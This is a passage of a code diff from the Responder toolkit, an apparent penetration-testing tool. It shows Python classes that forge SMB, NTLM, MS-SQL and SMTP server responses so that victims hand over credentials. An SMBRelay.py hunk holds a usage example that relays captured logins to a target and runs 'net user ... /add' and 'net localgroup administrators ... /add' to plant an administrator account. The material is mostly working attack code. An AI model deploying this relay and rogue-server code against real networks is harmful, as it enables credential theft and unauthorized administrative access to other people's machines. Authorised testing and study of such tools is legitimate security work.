("NativeLANTerminator","\x00\x00"),
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert strings to Unicode first...
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
||||
|
||||
###### SecBlobLen Calc:
|
||||
AsnLen= str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
||||
|
||||
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
##### Bcc len
|
||||
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||
#SecBlobLen
|
||||
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
||||
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
|
||||
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6)
|
||||
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
|
||||
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
|
||||
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
|
||||
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
|
||||
|
||||
###### Andxoffset calculation.
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
|
||||
|
||||
self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32)
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
||||
##################################################################################
|
||||
|
||||
class SMBSession2Accept(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00"),
|
||||
("Andxoffset", "\xb4\x00"),
|
||||
("Action", "\x00\x00"),
|
||||
("SecBlobLen", "\x09\x00"),
|
||||
("Bcc", "\x89\x01"),
|
||||
("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLAN", "Windows Server 2003 5.2"),
|
||||
("NativeLANTerminator","\x00\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
||||
BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
||||
|
||||
class SMBSessEmpty(Packet):
|
||||
fields = OrderedDict([
|
||||
("Empty", "\x00\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBTreeData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x07"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("Andxoffset", "\xbd\x00"),
|
||||
("OptionalSupport","\x00\x00"),
|
||||
("MaxShareAccessRight","\x00\x00\x00\x00"),
|
||||
("GuestShareAccessRight","\x00\x00\x00\x00"),
|
||||
("Bcc", "\x94\x00"),
|
||||
("Service", "IPC"),
|
||||
("ServiceTerminator","\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
#Complete Packet Len
|
||||
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||
## AndXOffset
|
||||
self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32)
|
||||
## BCC Len Calc
|
||||
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||
self.fields["Bcc"] = struct.pack("<H", len(BccLen))
|
||||
|
||||
# SMB Session/Tree Answer.
|
||||
class SMBSessTreeAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("Command", "\x75"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXoffset", "\x4e\x00"),
|
||||
("Action", "\x01\x00"),
|
||||
("Bcc", "\x25\x00"),
|
||||
("NativeOs", "Windows 5.1"),
|
||||
("NativeOsNull", "\x00"),
|
||||
("NativeLan", "Windows 2000 LAN Manager"),
|
||||
("NativeLanNull", "\x00"),
|
||||
("WordcountTree", "\x03"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved1", "\x00"),
|
||||
("AndxOffset", "\x00\x00"),
|
||||
("OptionalSupport", "\x01\x00"),
|
||||
("Bcc2", "\x08\x00"),
|
||||
("Service", "A:"),
|
||||
("ServiceNull", "\x00"),
|
||||
("FileSystem", "NTFS"),
|
||||
("FileSystemNull", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##AndxOffset
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]
|
||||
##BCC 1 and 2
|
||||
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
14
SMBRelay.py
14
SMBRelay.py
|
@ -15,7 +15,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
||||
from FingerprintRelay import RunSmbFinger
|
||||
from fingerprint import RunSmbFinger
|
||||
from odict import OrderedDict
|
||||
from socket import *
|
||||
from RelayPackets import *
|
||||
|
@ -29,17 +29,11 @@ def UserCallBack(op, value, dmy, parser):
|
|||
args.extend(getattr(parser.values, op.dest))
|
||||
setattr(parser.values, op.dest, args)
|
||||
|
||||
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||
|
||||
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
|
||||
|
||||
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||
|
||||
parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
|
||||
|
||||
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
@ -65,7 +59,7 @@ UserToRelay = options.UserToRelay
|
|||
Domain = options.Domain
|
||||
Command = options.CMD
|
||||
Target = options.TARGET
|
||||
OURIP = options.OURIP
|
||||
Responder_IP = options.Responder_IP
|
||||
|
||||
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
|
||||
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
||||
|
|
|
@ -1,74 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#SMTP Greating class
|
||||
class SMTPGreating(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "220"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "smtp01.local ESMTP"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
class SMTPAUTH(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code0", "250"),
|
||||
("Separator0", "\x2d"),
|
||||
("Message0", "smtp01.local"),
|
||||
("CRLF0", "\x0d\x0a"),
|
||||
("Code", "250"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
class SMTPAUTH1(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "VXNlcm5hbWU6"),#Username
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
|
||||
class SMTPAUTH2(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "UGFzc3dvcmQ6"),#Password
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
|
||||
|
167
SQLPackets.py
167
SQLPackets.py
|
@ -1,167 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#MS-SQL Pre-login packet class
|
||||
class MSSQLPreLoginAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\x25"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\x00"),
|
||||
("VersionOffset", "\x00\x15"),
|
||||
("VersionLen", "\x00\x06"),
|
||||
("TokenType1", "\x01"),
|
||||
("EncryptionOffset", "\x00\x1b"),
|
||||
("EncryptionLen", "\x00\x01"),
|
||||
("TokenType2", "\x02"),
|
||||
("InstOptOffset", "\x00\x1c"),
|
||||
("InstOptLen", "\x00\x01"),
|
||||
("TokenTypeThrdID", "\x03"),
|
||||
("ThrdIDOffset", "\x00\x1d"),
|
||||
("ThrdIDLen", "\x00\x00"),
|
||||
("ThrdIDTerminator", "\xff"),
|
||||
("VersionStr", "\x09\x00\x0f\xc3"),
|
||||
("SubBuild", "\x00\x00"),
|
||||
("EncryptionStr", "\x02"),
|
||||
("InstOptStr", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
|
||||
|
||||
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
|
||||
|
||||
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
|
||||
|
||||
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
|
||||
|
||||
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
#Version
|
||||
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
|
||||
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
|
||||
#Encryption
|
||||
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
|
||||
#InstOpt
|
||||
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
|
||||
#ThrdIDOffset
|
||||
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
|
||||
|
||||
#MS-SQL NTLM Negotiate packet class
|
||||
class MSSQLNTLMChallengeAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\xc7"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\xed"),
|
||||
("SSPIBuffLen", "\xbc\x00"),
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
##Then calculate
|
||||
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
